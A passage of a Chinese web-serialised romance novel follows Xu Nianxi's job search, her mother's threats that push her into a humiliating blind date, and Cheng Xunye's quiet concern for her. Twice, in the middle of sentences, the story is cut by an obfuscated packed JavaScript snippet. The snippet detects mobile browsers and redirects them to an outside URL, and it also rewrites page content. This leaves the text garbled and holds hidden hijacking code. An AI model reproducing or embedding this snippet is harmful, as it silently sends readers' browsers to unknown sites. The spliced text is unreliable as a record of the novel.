公孙修竹呸了声:“他捞油水,所以是荤餐……” 放着他们俩一个荤一个素不提。 程洵也眼睛一亮,拍了下桌子:“我知道怎么赚钱了。” “怎么赚?” 两个人好奇凑过来,就听程洵也说了一串。 事实上,程洵也真的赚到钱了。 但没用于还冯沛艺,而是给班上同学买零食吃,买了一个月。 “啪”地一声,程洵也回神,就看见程沓漫背着手,脸颊鼓鼓的,一副河豚样儿。 再看巧克力蛋糕,能被撕开的地方都被撕得七零八落的,唯独中间有透明胶的部分还纹丝不动。 所以这小屁孩撕了这么久,还没吃到,自己把自己气到拍桌子。 程洵也弹她脑门,“发什么脾气?撕不开和我说,我帮你撕。” 程沓漫捂着额头,别过脸不肯理他。 程洵也把蛋糕拿出来,拿纸巾包好,程沓漫立马摸索过来,这会儿也不生气了,抓着蛋糕啃。 小丫头长着张很可爱的圆脸,脸上肉很多,软嘟嘟的堆在两腮。嘴巴小小,鼻子一点点,唯独那双眼睛很大,睫毛长长的,眼尾往上翘,一双猫儿眼。 就是没什么神,好像看不见一样,吃蛋糕吃了一脸。 程洵也给她擦了擦,又揪她辫子问,“小鬼,你什么时候会哭?” 程沓漫被他揪着,人吃不到蛋糕了,皱着鼻子回:“被人欺负的时候会哭。” 程洵也逗她,“呦,你还知道欺负两个字啊,不得了了。” 他们这边闹,程慕池从房间出来,程沓漫听得出来她爸的脚步声,连忙跑过去,撞上他腿,仰头和程慕池告状, “爸爸,叔叔他仗着他会认字,欺负我。” 程慕池看她一眼:“没事,他不会认字,也照样欺负你。” 程洵也没空听他们逗,起了身,“不早了,我先走了。” 程慕池送他出门:“你想好了吗?真的要再继续做导盲产品吗?” “想好了。” 程慕池止步,看着程洵也欲言又止。 程洵也拍了拍他哥肩膀,“干嘛呢?这么苦大仇深。” “如果你是为了沓漫,”程慕池皱眉道,“没必要这样的。” 程洵也闻言就笑了,“说什么为不为的,又不是打电话。我想做就做了,没有那么多理由。” 他们到了门口,程洵也道:“回去吧,哥。不早了,你都一把年纪了还是早点睡。” 程慕池被他气笑了:“臭小子,说谁一把年纪呢。” 程慕池走后,程洵也脸上的笑意淡下来了。 冬天的夜晚总有几分薄亮,像初昼时分。 可看向天际,几颗不算明亮的星闪烁,才能发现是漆黑的夜晚。 “被欺负了……”程洵也收回视线,轻声道。 才会哭啊。 - 程洵也说过可以找他帮忙。 对他而言,帮她找个工作并不是一件难事。 但是徐念溪并不想那么做。 她依旧希望自己能在程洵也面前,有个比较好的形象。 虽然她再也不是高中时班上那个老师心中的尖子生了。 但起码不是现在这种,攀附他,只为自己有个更好机会的形象。 徐念溪又在Boss上投了不少简历,这次她没有局限于翻译行业,也没局限学历,而是只要是工作都投了一遍。 她这样广撒网,倒是比之前得到了更多回复。 只是回到一半,对方就突然不理人了。 鲁惟与帮她分析:“溪溪,是不是你学历和之前的工作经验太高级了?你现在投的这些公司,学历要求不高。你投他们公司,他们估计觉得去了也干不长,于是聊到一半,他们就不理你了。” “马上过年了,很多公司都不招人。” “所以,现在的情况其实有点……” 鲁惟与没有说完,但是徐念溪知道她的未尽之言。 一般的公司不会招她。 好一点的工作,她找不到。 如同一个跷跷板,不借助外力的话,总在一边上一边下,找不到半点中庸的可能性。 鲁惟与叹了口气:“不是有句话说,好工作像艾|滋病,只能通过母婴、血液和性传播吗?” “有时候想想,虽然挺偏激的,但是不无道理。” “你要不年后再找工作吧?过年后,估计会好找一点。” 这会儿是早上六七点,客厅里王君兰的手机依旧在放短视频,声音还是开得最大。她人在卫生间洗漱。 短视频声和水流声交杂,刺耳极了。徐念溪摇头,轻声道:“不了,我还是再找找吧。” 鲁惟与“嗯”了声,“我也帮你看看,说不定有还可以的。” “好。” 挂了电话。 徐念溪关手机前,注意到今天是十一月二十三日,周四。 不知道从什么时候开始,时间变成一个模糊的数字。 陡然注意到,才发现已经又是一年年末。 等过年,她就成了王君兰嘴里的“二十六岁”了。 二十六岁。 徐念溪有年龄焦虑,总觉得二十六岁是个很吓人的数字。 但事实上,她害怕的不是二十六这个数字。 而是年龄在增长,却依旧毫无进步的原地踏步感。 生活好像随着时间的变化,变成一滩毫无希望的泥潭。 可能性越来越少,希望越来越薄弱,越来越学会妥协。 对自己、对生活、对理想…… - 鲁惟与帮徐念溪找工作这个事动静不小。 西津就那么大,好工作又是可遇不可求的。 比起自己胡乱找一通,当然还是向相熟的同学朋友打听最好。 “你知道没?念溪在找工作。”严岸泊退下来,坐在程洵也身边提高音量,“要不是我是开火锅店的,我都想让念溪过来我这里了。” 程洵也抬头,示意自己不知道,又问:“你怎么知道的?” “鲁惟与告诉我的,我有她微信。她说念溪最近一直在找工作,你也知道,西津的工作不好找,所以她到处在帮念溪问……” 所以,上次见面,她会哭,也是因为工作吗? 还是因为别的? 如果是因为工作,那她到底找了多久,才会哭成这样。 而且…… 程洵也看着毫无动静的微信,皱了下眉。 她可以寻找别人的帮助,却没想过他。 公孙修竹唱累了,把话筒递给程洵也,让他唱,程洵也摇头拒绝。 “我出去透透气。” 出了包厢,没一会儿,只见西津的第一场初雪降临。 不是很柔软的雪,而是结晶一样的雪子,落在尚且翠绿的常青树上,久久不化。 因为这场雪,天气寒得厉害。 让程洵也想起了高中时期的徐念溪。 那时,她就是那种边界线很明显的性格,很多事也愿意压在心底。 得知她没事后,程洵也就没关注过她了。 毕竟,他还要想办法把欠的一千块还给冯沛艺。 想的办法很简单。 那就是趁高一新生在军训,他们在奶茶店批发奶茶,偷偷在校内卖。 经历了一系列和奶茶店的讨价还价后,他们以每杯五块的价格,和离学校有点远的一家奶茶店定下了生意。 十块钱卖出去,忽略人力成本,纯利润就有五块。 市场也很广阔。 校内小卖部光是一瓶矿泉水都要十块,附中占地偏僻,周围也没有其他门面。 那段日子,他们四个人每天的日常都是,背着书包,不断往返在奶茶店和学校之间,每次都是装一书包的奶茶,再倒卖给高一新生。 幸好他们几个都是不学无术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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剩下的话,程洵也没听到,因为张春燕很快赶过来了,他留在那里也没用。 他一出来,严岸泊他们几个围过来,七嘴八舌问:“怎么了怎么了?怎么会突然晕倒?” “校医说她营养不良。” 几个人都吃了一惊,面面相觑:“这个年代还有人营养不良啊。” 这也是程洵也想说的。 这个年代,竟然还有人营养不良。 太过稀奇了,而且他担心她的晕倒是不是和他砸过她有关。 于是他又恢复了观察徐念溪。 就像在一大群活蹦乱跳的鱼儿里,发现了格外不一样的一条。 他难免好奇。 徐念溪照样还是那么个样子,很努力很用功。 只是他发现,她好像不怎么吃东西。 中午也不出教室,只偶尔会喝些水。 “你说为什么会有人中午不吃饭,光喝水?” 程洵也问。 “男生女生?” “女生。” 严岸泊回:“那简单,减肥呗。” 可是,以程洵也的眼光看,徐念溪已经够瘦了,占地空间很少。 这种样子还需要减肥吗。 那段时间,程洵也都在思考这个问题。 那是他第一次意识到女生原来是这样一种格外不一样的物种。 让他理解不了。 但这个想法很快没了。 体育课,他踢完球回来,就看到课本下压着三张崭新的一百块。 还有张便利贴,上面一笔一划写着:这里是三百块,还差七百,我会尽快还给你的。——徐念溪 她还在最后画了“^︶^”。 一个笑脸。 程洵也抬脸,看到徐念溪的背影。 她很瘦,马尾辫遮挡下的颈脖纤长,背脊挺得笔直,隐隐有点骨凸痕迹。正低着头,一笔一划写着题目。 联想到发生的一切,程洵也才明白她不吃饭,原来是想攒钱还给他。 他找到徐念溪:“你不用还我钱的,本来就是我砸到你。还有……” 以这种伤害自己身体的方式攒钱,很不好。 他没说完,徐念溪打断:“要还的。” “而且,”她抬头看他,笑了下,一贯的温和礼貌,“我挺好的。” 从那时起,程洵也就知道,徐念溪是个很倔强的人。 也知道,有些事情,她不愿意和任何人分享。 但不妨碍,她过得不好。 …… 严岸泊打电话来:“哥,你透风透到哪儿去了?我们都要散了。” “我回去了,”程洵也,“你把鲁惟与微信推给我。” 严岸泊边发过去,边叨逼叨:“你加她干嘛?给念溪推荐工作吗?不是,我怎么感觉你对念溪还挺关注的,之前也没见你对别的同学这样啊……” 程洵也对严岸泊的话一贯是屏蔽的:“挂了。” 在回包厢的路上,鲁惟与通过了:哈喽,我是鲁惟与。有什么事吗? 程洵也:听说徐念溪在找工作,有我可以帮忙的地方吗? 虽然公司不专攻对外贸易,但他有人脉,肯定能帮徐念溪找到个合适的。 程洵也没继续走,而是停在原地等她回复。 雪越来越大,风吹过,把雪子吹得簌簌作响,淅淅沥沥的摩擦声。 好半晌后,鲁惟与终于发来个抱拳,又说:谢谢你,不过不需要推荐了,念溪已经找到工作了。 这么短时间,真的能找到工作吗? 如果真的那么好找,徐念溪会一个人在咖啡店偷偷哭吗? 还是说,只是搪塞他,不希望他插手? 严岸泊又打来电话催,临了问:“怎么样?” 雪很快覆盖地面,绿和白分割成泾渭分明的线,程洵也移开目光,莫名觉得这个冬天尤其冷:“什么?” “念溪的工作啊,她有没有让你帮忙?” “没有。” 如果她这么容易同意让他帮忙,高中时,她也不会饿出营养不良,都不愿意对他开口。 11. 011 鲁惟与给徐念溪发消息:怎么样?这么说行吗? 又发来张她和程洵也聊天的截图。 徐念溪慢慢看完:行的。 鲁惟与挺迷惑:溪溪,你为什么不愿意让程洵也给你找工作啊?他那么个家境,给你找的,肯定是个好工作。 徐念溪:不想还人情。 鲁惟与:也是。程洵也肯定什么都不缺。到时你怎么还人情都不知道。 徐念溪:是的。 鲁惟与拍胸脯保证:那我再给你找找别的,你爹在西津这么多年,还是有些人脉的。 徐念溪笑了下,又发过去“嗯”,关了手机。 夜色里,能听到她的呼吸一起一伏。 说的是,不想还程洵也人情。 可实际上只有她知道,她是不想在程洵也面前太狼狈。 他是个很好的人,所以才主动给她提供帮助。 可他越好,她越觉得自己不好,越想在他面前,保留为数不多的颜面。 在他面前哭是一回事,求他帮忙是另外一回事。 一旦让他帮忙了,她在他面前,再也不能和他是彼此平等的同学关系。 她再也不能坦然地面对他。 她不想这样。 …… 几天之后,鲁惟与发来个通告。 鲁惟与:“溪溪,去吗?只用面试,编外合同工,工资不高。但在单位里,离你家挺近,也不用租房什么的。等过完年,你再找别的工作,这个工作当个过渡就好。” “好。”徐念溪,“小鱼,谢谢你。” “害,我们之间说什么谢不谢的。快去准备面试吧。” 面试就在三天后,可能是消息流传得不够广,来面试的人不多,徐念溪虽然没太接触过这方面,但之前的工作经验毕竟出众,答得还不错。 果然几天后,对方让她来上班。 接到电话的那一刻,徐念溪有一种久违的放松感,好像一瞬间人踩到了实处。 但踩完,她又好像没那么开心。 只觉得人飘飘浮浮的。 很空茫。 对自己有工作这事反应最大的就是王君兰,她难得的和颜悦色起来,甚至带徐念溪一起出去吃饭。 出去吃饭,对王君兰是个稀奇事。 她节省了一辈子,平时谁多用她一分钱,她都会发脾气。 吃的是家常菜。 等餐的功夫,她们俩一个坐左边桌,一个坐右边。 两个人没有交流,只王君兰不断地说,单位好,说出去体面,又是铁饭碗…… 西津不大,对面那桌的女人认识王君兰,和她打招呼,又一起去了卫生间。 只是等王君兰回来后,她脸色就不对了。 “你找的工作只是合同工?” “对。” “不是编制?” “不是。” 听她这么说,王君兰脸色彻底变了:“不是编制,你说你在单位里干嘛?合同工是什么单位?我还以为你考上了编制,结果只是个什么见鬼的合同工。” “徐依宁起码还是个护士,你倒好,弄个合同工出来。” “我不问,你是不是还不想说?你还知道要脸啊,知道合同工不是什么好东西!” 王君兰没有吃饭的心情,拎包甩脸就往外走。 服务员正准备上菜,被眼前这一幕吓得愣在原地,过了会儿,才迟疑着问徐念溪:“……您还吃吗?” 菜已经做了,不能再退,徐念溪吐出口气,压下种种上泛的情绪,“吃。” - 饭徐念溪打包回来了,轻手轻脚地放进冰箱。 客厅没开灯,能看到一点灯光从王君兰的门缝溢出来,还有模糊的短视频声。 徐念溪看着紧闭的房门,慢慢垂下眼。 她自己都觉得自己矛盾。 王君兰的房门打开了,她不想从王君兰面前经过,会刻意等她睡着了,才会从卧室轻手轻脚地溜出来,去卫生间洗漱。 可是王君兰的房门对她关闭了,她又会觉得难受愧疚,会反复思考自己是不是做错了什么,会觉得自己哪哪都不对,哪哪都不好,却又怎么都找不出变好的方法。 明天第一天上班,徐念溪强迫自己早点睡着,可是一如既往的毫无效果。 不过好在,她已经习惯了,起来时甚至有种果然还是失眠的心平气和。 渐渐学会和自己的失眠共处。 这何尝不是一种进步。 第一天上班,年长的同事只教了徐念溪一些基础业务和认人。 一天下来,徐念溪只勉强把单位上下几十个同事认个大概。 下班前,同事让她别着急,后面有她忙的。 …… 徐念溪下班回来时,王君兰正在客厅,边吃饭边看非诚勿扰。 饭桌上还有一碗饭,显然是留给她的。 徐念溪的脚步一顿。 她不太想和王君兰共处一室,因为每一秒都如坐针毡。 但是离开又不合适,毕竟王君兰已经给她盛好饭。 踌躇两秒,还是过去了。 王君兰没看她,只盯着电视。 菜是昨天打包回来的那些,徐念溪咬了口青菜,慢慢咽下去。 电视机里的孟非在说一些和婚假有关的话题,王君兰边看边笑。 气氛好像舒缓了点。 徐念溪无声地吐出口气,也有心情夹别的菜了。 但下一秒,王君兰突然开口:“我给你找了相亲对象,周六下午见面。” 她没对着自己说。 可是这个房子里,就她和自己。 “我不去。” 王君兰没看非诚勿扰了,侧过脸看她:“不去?” 她嗓音淡淡的,让人听不出语气。 徐念溪后颈脖起了一层细小的疙瘩,抿紧唇:“对。我不去。” 王君兰放了筷子,一瞬间就爆发了,“你凭什么不去?让你读了大学,出来就当了个合同工。” “我好不容易给你找的条件好的相亲对象,等你们结婚,你后半辈子有着落了。” “我为你做了这么多,你怎么一点都不懂事?怎么就不能体会我的良苦用心?” 一连串的质问声。 王君兰好像永远打着为她好的旗号。 可是她没觉得合同工有多不好。 也没觉得结婚是一件后半辈子有着落的事。 徐念溪还记得王君兰和徐国超之间的层出不穷的争吵。 为了王君兰不做家务、为了徐国超把钱借给他那边的亲戚、为了无数细节而不细节的问题…… 持续反复地争吵。 幼年时,徐念溪很怕听到锅碗声。 因为每次徐国超做饭时都会骂王君兰一遍,说她是个女人,却懒得什么都不做,饭不做地也不扫,他真是后悔和她结婚…… 他边骂边会摔锅碗。 每次听到噼里啪啦声,徐念溪都会忍不住心悸。 直到小学四年级,王君兰和徐国超离了婚。 她才渐渐逐渐忘记那种感受。 但是忘记不代表不存在,有些东西已经深埋在骨子里。 徐念溪指尖发白,问:“你结婚了,你自己的后半辈子有着落了吗?” 还不是照样离婚,照样孤单一人。 王君兰斩钉截铁开口:“我没着落是因为姚仙华她们一家。你就不一样了,怎么可能又遇到了这种事。” 说来可笑,王君兰和徐国超离婚的理由不是长久以来感情不和,也不是两人性格本就不合适。 而是因为徐国超的前女友姚仙华带着孩子找上门。 徐国超这才知道姚仙华当时离开不是默认和他分手,而是家里老人生病不得不立马赶回去。 只是等姚仙华再回来时,徐国超已经离开了。 八年后,姚仙华带着徐依宁终于辗转打听到徐国超的消息。 两人才重聚。 这时他们的孩子徐依宁甚至比徐念溪还大两岁。 从此以后,王君兰和徐国超之间的争吵从三天一大吵,五天一小吵,转化成王君兰持续不断地输出。 说谁知道徐依宁是不是他的种,指不定是姚仙华被谁搞大了肚子,为了让他接盘才过来,就是诚心过来破坏他们家庭的。 在经历了长久的心爱的女人被辱骂后,徐国超终于爆发,和王君兰提出来离婚。 至此结束了两人充满着怨愤的婚姻。 也让王君兰认为,她婚姻悲剧的罪魁祸首就是姚仙华。 徐念溪:“可是,就算没有姚仙华,你和爸之间也过不好。” “你们总在反复争吵,为任何一件小事。” “你说你今天的菜咸了,爸会说你怎么自己不做。你说你不喜欢做饭,爸会说你是个女人饭都不会做,自己当初真不该和你结婚。你会生气,说你嫁给他自己也不乐意,要不是自己年纪大了,怎么会嫁给他个穷光蛋……” 这些话徐念溪都会背了,因为贯穿了她的童年。 她不是当事人,被依旧因为当事人喷溅出来的毒液,而波及一生。 王君兰轻描淡写打断:“夫妻之间吵架是正常的,这是情趣。你见过谁家夫妻不吵架的。” 她站起身来,收了自己的碗,交代句进了卧室:“吃完了饭记得洗碗。” 徐念溪没有胃口了,看着油腻的菜甚至觉得反胃,有什么东西重重压在心口,让她难以喘息。 有时候,她会觉得可笑。 他们好像总能轻描淡写地弱化对孩子的伤害,甚至觉得根本没有伤害。 可是那伤害明明存在。 它长在徐念溪骨肉里。 让她害怕争吵,害怕摔锅碗声,认为大部分婚姻尽头都是一地鸡毛…… 带来伤害的人却轻飘飘地认为自己什么错都没有,甚至还想推着她,进入到她害怕的一切中。 何其讽刺。 那晚徐念溪失眠有史以来地严重,她睁眼睁到了凌晨六点,才睡着。 又做了很多光怪陆离的梦。 这次她终于看清了梦里有什么了。 有两个怪物在歇斯底里地争吵,吐出来的话化为利刃,一刀一刀戳向对方,他们忍着痛,一边却因为对方的痛而放肆大笑。 还有一个怪物不顾她的反抗,拖着她,让她前往自己完全不愿意前往的道路。 - 周六下午很快就到了。 徐念溪那会儿正在单位加班,确实和年长同事说的一样,很快就忙起来了。 临近年末,迎来各项检查。 哪怕她一个新人,都被分到了不少的活。 王君兰打来电话,“怎么还没过来?” 徐念溪忙得接电话的时间都是挤出来的:“怎么了?” “我不是说了,周六下午去见相亲对象。” “我也说了,我不去。” 王君兰冷笑声:“你要是敢不来,这个家你就别住了,我现在就把你的东西全丢了。我说到做到。” 徐念溪敲击键盘的指尖顿住,声音发堵:“你非要这样吗?” 她终于知道,为什么一直都这么想要自己的房子了。 因为,在这个家里,她的一切都是可以被王君兰肆意处置的。 不论是她的行李,还是她的婚姻。 “非要。”王君兰一字一顿,“你要是还把我当妈,你就知道该干什么。这是为你好。” 挂了电话,徐念溪感受到从脚跟往上泛的凉意。 西津的冬总是冷到骨子里,穿得再多再厚,都能让人感受到浸入骨髓的凉意。 这是一个寻常的冬天,却又是一个不寻常的冬天。 徐念溪从来没这么疲惫过,疲惫到她甚至连放下手机的力气都没有。 盯着满幕的数据,好像一瞬间就不知道下一步该做什么了。 有时候,她会想,王君兰到底爱她吗。 如果爱,为什么会忽视她的恐惧,强迫她进入婚姻。 如果不爱,为什么又打着爱她的名义。 - 徐念溪到达火锅店的时间不早不晚,等了没几分钟,相亲对象到了。 他穿着件oversize款的短款夹克,丹凤眼驼峰鼻,五官组合在一起有种阴柔的冲击力。进来后,随手把车钥匙抛在桌上。 “你是徐念溪吧?”顾魏曲坐下,没报自己名字,直接道,“我知道你。” “你知道我?” “当然。”顾魏曲架起胳膊,绕有兴致,“你在南城的时候那件事闹得还挺大,我怎么会不知道你呢。” 和南城相关…… 徐念溪整个人无意识绷直背脊,往后靠:“我不知道你说的是什么。” “装傻可就没意思了,”顾魏曲道,“我们都心知肚明。” 顾魏曲说完,上下打量了一圈徐念溪,她很长时间没有休息好的样子,黑眼圈很重。 但依旧能看出长相清丽,皮肤很白,在烟雾缭绕的火锅店里,像剥了壳的水煮蛋。 “你这长相确实有走捷径的资本,”顾魏曲啧啧称奇,“难怪会想着去勾引人家老公。” 徐念溪以为自己已经淡忘了南城时的种种,但是实际上没有。 顾魏曲一句话,扯下了她那层自欺欺人的遮羞布。 一瞬间让她又回到了在南城那段煎熬的岁月。 顾魏曲还记得介绍人发过来的资料:“你怎么回西津了?还只是个编外。” 他勾唇,好整以暇地问徐念溪:“是不是南城混不下去了,灰溜溜跑回来的。” 徐念溪从译易达离开的那天,不相熟但平日里朝她请教过问题的同事,远远指着她。 风送来她们的交谈声。 窃窃私语像重剑把她的自尊一寸一寸钉弯。 徐念溪放在桌子下的手一点一点掐紧,几乎快要掐断。 好几秒,才慢慢松开:“你这么看不上我,为什么还要浪费时间和我相亲?” 顾魏曲挑了下眉,对她这种绵里藏针的反问消化得很自然。 “我符合你妈的要求。家境好,有房有车,你嫁过去后半辈子不用愁。” “所以不是我选你,而是你妈求着我选你。” “而且,你不觉得吗?反正是和陌生人相亲,那选个有兴趣的岂不是更有意思?” 呼吸好像被抽干,徐念溪感觉到一种难于言语的,被戏弄的羞耻和愠怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14207255|150998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从骨髓里慢慢溢出来。 她听到顾魏曲拖腔拿调的声音,“原来你们家这种走捷径的想法也是祖传的,难怪这么熟练。” 徐念溪听见自己回:“是不是祖传的和你没什么关系。我只知道,你很没有教养。” - 严岸泊给程洵也发消息:快来我宝丰路那个店里,出大事了!急急急!!! 程洵也很快就到了:“怎么了?” 严岸泊指着一个方向,程洵也看过去,是徐念溪和一个陌生男人。 那男人不道说了什么,徐念溪的脸色一下子苍白下来,她人很瘦,纤薄的背脊好像被什么无形的东西压弯。 这种状态让程洵也情不自禁皱紧眉。 严岸泊和他说听到的种种,说那男的看不起徐念溪的工作,又明里暗里说徐念溪拜金又现实,刻意找他这种有钱的相亲…… 严岸泊边说边吐槽,“装什么逼啊,开辆几十万的车还拽得跟什么一样。我要是开几十万的车,别人还以为我破产了。” “真拜金应该找我们俩相亲啊,找他那是拜破烂吧……” 那男的似乎是兴致索然了,起了身,和徐念溪说:“这就受不了?我还以为你有多强的心理素质。” “饭钱不用给我了,就当我谢谢你给我看了一出好戏。” 他勾唇一笑,往外走,整场见面里都表现得体面又游刃有余。 桌上只留下徐念溪一个人。她头垂着,盯着自己苍白的指尖。 南城的种种轻而易举地破开她层层伪装。 每个睡不着的夜里,她无数次问自己,是不是做错了。 她是不是不该去接那个工作,是不是不该贪图两万五,而一次又一次放低自己的底线。 所以最后自作自受落得这种局面。 可是白天一到,理智回笼,她又觉得自己没错。 那两万五是她应得的不是吗? 她一次又一次忍着陈国平的骚扰,只为了他能大发慈悲,结清那两万五。 她又做错了什么呢? 她的错,是没有良好的出身,所以陈国平敢肆无忌惮。 是没有通过一己之力改变命运的能力,所以工作三年,依旧是最平凡人群里的一个。 是太过于想要一套属于她的房子,所以把那两万五看得如此重要。 如果可以,徐念溪也想是有良好出身,有超群能力,这样就有更轻易的人生。 如果这两样都没有,给她一个比较美好的家庭也可以。 这样她就有容身之地,不会那么迫切地想要自己的房子,想得都成执念了。 可是她都不是,永远也是不了。 于是,她囿于困境里,郁郁度日,看不到任何希望。 程洵也拿掉严岸泊放在他肩膀上的手,“我过去一下。” 徐念溪感觉到身侧有一道阴影铺天盖地压过来。 她慢慢抬头,对上男人的脸。 可能是她的眼眶被火锅烟雾蒸得模糊,她有些看不清他的脸,花了几秒才认出是程洵也。 比起上一次被他看到的狼狈闪躲,这次她出乎意料的没有闪躲的心。 可能是已经习惯了,又被他看到自己狼狈的样子,也可能是她已经没有力气了。 没有力气再让自己呈现一个比较好的状态。 也没有力气思考他为什么会出现在这里,是不是看到了刚才的一切。 徐念溪吸了下鼻子,强打起精神笑了下,“又见面了。” 程洵也坐到她对面,看着她。 火锅已经凉了,红油凝固在锅面上,看着是一座稀薄的漂浮的红色冰川。 让人看不出冰川下面是什么。 但有时候,光是看表面的东西就已经足够了。 “徐念溪。” 徐念溪没有力气回他怎么了,只“嗯”了声。 “你不想笑,可以不笑的。” 强撑着的笑意一瞬间散了,徐念溪收敛笑意,盯着空气中的一点失了言语。 他们俩都没有说话,沉默着。 火锅店渐渐到了饭点,人声越来越鼎沸。 服务员又一次推着推车走过这里。 徐念溪恍惚之间回神,她已经在这里坐了很久了,再坐下去只会耽误别人生意。 “我得走了。”徐念溪起了身。 程洵也也站起来:“我送你回去。” 徐念溪没拒绝,有人在她身边会比没人在好,起码她没时间胡思乱想。 他们走过满是梧桐落叶的街道,补课的初中生正从校内走出来,拥在个烤红薯的小推车前。 烤红薯在冬天发出软糯的甜香,程洵也:“你等会儿。” 徐念溪止步,看着他站进一群初中生的队伍里。 他很高,一米八几的个子,站在初中生里,显得有些违和。 但他站得心安理得,甚至不知道和前面的初中生说了什么,那初中生和他换了位置。 于是他很快捧着个烤红薯朝她走过来。 “给你。” 徐念溪一手接过烤红薯,刚出炉的热度把她凉透的指尖慢慢染上温度,一手把手机拿出来,“谢谢。多少钱,我转给你。” “不用转,买一个送一个的。” 徐念溪慢慢眨了下眼,看着他。 但他很坦然,一副“虽然你可能不理解,但是帅哥就是有优待”的臭屁样儿。 徐念溪便“这样”了一声,收了手机。 他们继续往前,天色处于半黑不黑之间。街道上开了路灯,隐隐绰绰的,和天光混在一起,看不清明显的分界线。 徐念溪人虽然不矮,但是站在程洵也身侧还是不够看的。 程洵也一低头就能看到圆乎乎的发旋和她脸颊上一层细小的绒毛。 徐念溪正在低头,致力于给红薯掏洞。 她吃红薯估计就这习惯。 模样看起来比刚刚好多了。 可程洵也清楚地记得刚刚发生的一切。 他们走到了徐念溪家小区附近。 他们之间的距离,依旧不足以让程洵也问出这种问题,但他还是停了步:“徐念溪。” “嗯?”徐念溪抬头。 “为什么和那种人相亲?” 为什么让那种人欺负你? 徐念溪含勺子的动作停住,他果然看到了刚刚的一切。 好像在他面前,她永远都那么狼狈。 明明她想,在他面前有个好形象的。 见她没有明显的排斥,程洵也接着道,“你想结婚吗?” 他是第一个问她是不是想结婚的人,连王君兰都没问过。 她默认自己会按照她的计划过完这一辈子,结婚、生子、死去。 没有别的可能。 徐念溪无意识地戳了下软烂的红薯:“他是我妈选的。” “至于想不想结婚……” 天色更黑了,照在她身上,徐念溪垂眸:“大部分人都是要结的吧。” 所以想不想,好像也没那么重要。 严岸泊打程洵也电话,问他怎么还不回来。 等程洵也挂了电话,徐念溪对他笑了下:“不早了,我先走了。谢谢你送我回来。” 12. 012 严岸泊在良缘网上找到了徐念溪的相亲资料,又根据印象找到了和她相亲的那男的。 “顾魏曲,西津人,制药公司产品经理。在西津有三套房两辆车,身高180……” “他哪有180,顶多只有175。四舍五入都碰不到180的边好嘛?” “希望找到贤惠顾家,适合结婚的女人。” 严岸泊边念边吐槽:“啊呸!人女生都没要求他是个适合结婚的男人,他好意思反过来要求人家。” “还有,贤惠顾家是什么好词吗?怎么一个个的都希望贤惠顾家。干脆别结婚了,花钱找个保姆去……” 严岸泊碎碎念个不停,程洵也接过他手机看徐念溪的相亲资料。 应该是很久之前拍的一寸照,照片里的徐念溪面目青涩稚嫩,含笑的样子有些拘谨,像是不太擅长面对镜头。 照片下面,写了她的个人信息,包括电话、微信、生日等等。 最后写了对相亲对象的要求。 希望对方家境好,在西津或者别的城市有多套房产,有车,父母工作单位稳定,有退休金。 家境好。 他家境不错的。 有房产。 他有楼。 有车。 他也有。 父母有退休金。 冯沛艺和程谰都有。 每一条他都符合徐念溪对相亲对象的要求。 但符合不代表着,就是他。 因为符合的人很多,而他只是其中一个。 程洵也站起身,交代声:“走了。” 严岸泊看了眼时间,纳闷:“这才八点都不到,你一个没老婆没女朋友的,着急回去干嘛?” 程洵也回头,盯了他两秒:“我待着这儿,你还能当我女朋友不成?” 严岸泊张嘴,想说话。就听程洵也补了句:“当然。你想是一回事,我愿不愿意是另外一回事。” 严岸泊:“……” 回了家,程洵也打开灯,照亮房子里的大致布局。是复式loft公寓,装修简约大气,细细看下去了才发现就连茶几上放的最普通的金属摆件,都是来自国外知名设计师。 程洵也拿手机出来,下载良缘网。 又按照提示,填好自己的信息。 顿时,一键生成的相亲资料顿时犹如邮件般,向四面八方投射出去。 预示着某种可能性。 那可能性依旧不够大,但却真真切切存在着。 她在相亲,这话是不是代表着—— 他也有希望被她考虑。 他知道自己没有那么好,不是徐念溪心中的首选,但他一定不会让她哭得那么难过。 - 徐念溪回到家,王君兰正坐在沙发上等她,见到她进来,立马问:“怎么样?” 徐念溪摇头,和程洵也相处时的轻松,过眼云烟般消散了。 她又背负起沉重的枷锁。 王君兰皱紧眉,自言自语:“这么好的条件,怎么就没看上你呢。” “算了,这个不行,还有别的,总有行的。” 和顾魏曲相亲,王君兰还是用威胁的。 但眼下,却已经成了默认的了。 好像上帝视角,徐念溪听到自己在开口:“我一定要结婚吗?” 一定要这样,被人在相亲桌上翻来覆去地批判吗。 一定要进入一段她本就不喜欢的婚姻里吗。 王君兰停下动作:“对。” “为什么?” “没有为什么,你不结婚,我会被人戳脊梁骨。” 所以她就愿意把自己往婚姻里推,不管她的意愿。 “我要是不幸福……” 没等她说完,王君兰打断:“不可能不幸福。我和你爸当年那么穷都过出来了,还把你养大。更别说你现在,找个条件好的对象,以后什么都有了。” 如同鬼打墙。 王君兰不懂,也不认可她心中的恐惧。 在王君兰心里,除了姚仙华的存在破坏了她的婚姻以外,她的婚姻是全然的幸福美满。 由此可以推断出,她的孩子也一定会有幸福的婚姻。 可是真的幸福美满,会有一个害怕婚姻害怕到甚至觉得恐惧的孩子吗? 徐念溪声音很轻:“要是我不结婚呢?” 王君兰看着她,冷笑一声:“你要是不结婚,我们就断绝母女关系。” 徐念溪闭了闭眼,她不觉得难过,也不觉得悲伤,她只觉得有种果然如此的无力感。 什么东西化为一滩死水,让她就踩在里面,连挣扎的力气都没有。 明明是世界上最亲近的人,却也是把她往绝路上逼的人。 徐念溪回到卧室,躺在床上,看着天花板。 不知道从哪里上泛出来的累渗透她的骨髓。 她突然理解为什么那么多人会喜欢循规蹈矩的人生,因为反抗需要力气。 